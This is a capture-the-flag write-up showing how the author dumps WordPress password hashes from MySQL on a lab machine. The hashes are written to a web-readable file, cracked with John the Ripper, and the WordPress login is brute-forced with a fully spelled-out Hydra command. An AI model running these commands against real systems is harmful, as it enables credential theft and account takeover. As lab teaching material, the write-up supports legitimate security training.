Pwning WordPress Passwords
In my last writeup, I recovered
mysql credentials from a server and wrote a webshell to disk from there. This time, we’ll look at further leveraging the database contents by dumping hashes, cracking them with
John The Ripper and also bruteforcing a WordPress login with
Getting the Hashes
To access the
mysql service with a one-liner I used the following:
mysql --user=root --password=plbkac --host=192.168.15.151
For real engagements and situations where there are security concerns with putting a password in plaintext, you can omit the
-password flag and instead be prompted to enter the password upon connection.
Once we are connected to the service, we can begin enumerating what’s inside! First things first, let’s list the databases:
> show databases;
We can see there are several. The interest for today is
proof were interesting and I encourage everyone to check them out themselves.
Let’s enumerate the
wordpress database. To do this, we’ll have to select it:
> use wordpress
Easy enough. Now let’s see what tables are in this database:
> show tables;
Ok, cool. This looks like where pretty much everything that needs to be stored on the blog is kept. Let’s check out the
wp_users table to see if we can get some creds:
> describe wp_users;
Looking at the Fields, it seems like we’ll be interested in
user_pass. To view these fields:
> select user_login, user_pass from wp_users;
We can also join these two files together to look like
> select concat_ws(‘:’, user_login, user_pass) from wp_users;
We could just copy and paste this list since it’s only 16 entris. However we can also write this into a file and retrieve it from the server. In my previous post, we wrote a webshell through
mysql and placed it in the
select concat_ws(‘:’, user_login, user_pass) from wp_users into outfile ‘/var/www/https/blogblog/wp-content/uploads/creds.txt’;
And here are the hashes. We can curl this file directly off the server with:
curl -k https://192.168.15.151:12380/blogblog/wp-content/uploads/creds.txt > creds.txt
-kto ignore the server’s self-signed certificate
Cracking the Hashes
Now that we’ve got the password hashes off the server, let’s get cracking! Since I’m running Kali in a VM, I am not able to run
hashcat becuase I don’t have a GPU to run it on. My go-to for cracking hashes is
John The Ripper and the
rockyou wordlist. Not because these will always get me results, but because for CTF-style machines like many on VulnHub, if the hash is supposed to be cracked, these should do it.
These are phpass hashes which I had not had experience with before. I tried giving
John The Ripper the
user:pass format to crack the passwords and correlate them back to the username associated with it. However the file caused a formatting error which I did not expect. I was able to run
John The Ripper successfully with just the hashes, no usernames.
john hashes --wordlist=/usr/share/wordlists/rockyou.txt
rockyou.txt wordlist cracked about half of the hashes. But now I had a different problem: Which password belongs to which account?
Brute-forcing WordPress Login
To correlate the usernames back to cracked passwords, I chose to use
hydra. I copied the usernames into one file and the plaintext passwords another. Brute-forcing web logins is a little more involved than other services like ssh. This is because you have to provide the field names for each parameter as well as session cookies, and what an unsuccessful attempt looks like.
To get the neccessary field names, I fired up
burpsuite and created a test login to intercept the fields that are sent during an authentication attempt.
name as the username and
secret as the password. When I intercepted the request with
burpsuite, I was able to see that there were other fields that were also neccessary for a login attempt.
In total, I’ll need to specify four fields,
log as the username,
pwd as the password,
wp-submit as the Log In, and
testcookie being equal to
1. When WordPress redirects a successful authentication, the page contains
Location in the source; this is not the case for failures. We can give all of this infomation to
hydra in order to bruteforce these passwords.
^PASS^ as anchor fields to iterate through during a brute-force attempts.
hydra 192.168.15.151 -s 12380 https-form-post “/blogblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location” -L users -P pass
-sto specify port 12380
https-form-postto specify sending a post request over https
/blogblog/wp-login.phpis the login page
log=^USER^specify field for username
pwd=^PASS^specify field for password
&wp-submit=Log Inspecify Log In button
&testcookie=1specify cookie name and value
S=Locationsignifies testing for succes and that success will contain ‘Location’
-Lspecifies name of username list
-Pspecifies name of password list
Since this command is rather long, I put it in a shell script for easy editing and saving for later and named it
Here we see that
hydra was able to match all the passwords to their usernames in a matter of seconds! Bruteforcing is a noisy thing to do on a machine with any type of logging or monitoring. There is the potntial for tripping up an Intrusion Prevention System which could blacklist our IP. However since this machine did not have any sort of protective measures, we could have run
hydra with our list of users and
rockyou.txt as the password list and gotten the same results without
John The Ripper.
We were able to crack multiple credentials for WordPress Administrators. These accounts have elevated privileges that allow them to potentially write arbitrary files to disk on the machine. This is a likely path to getting a shell on the box.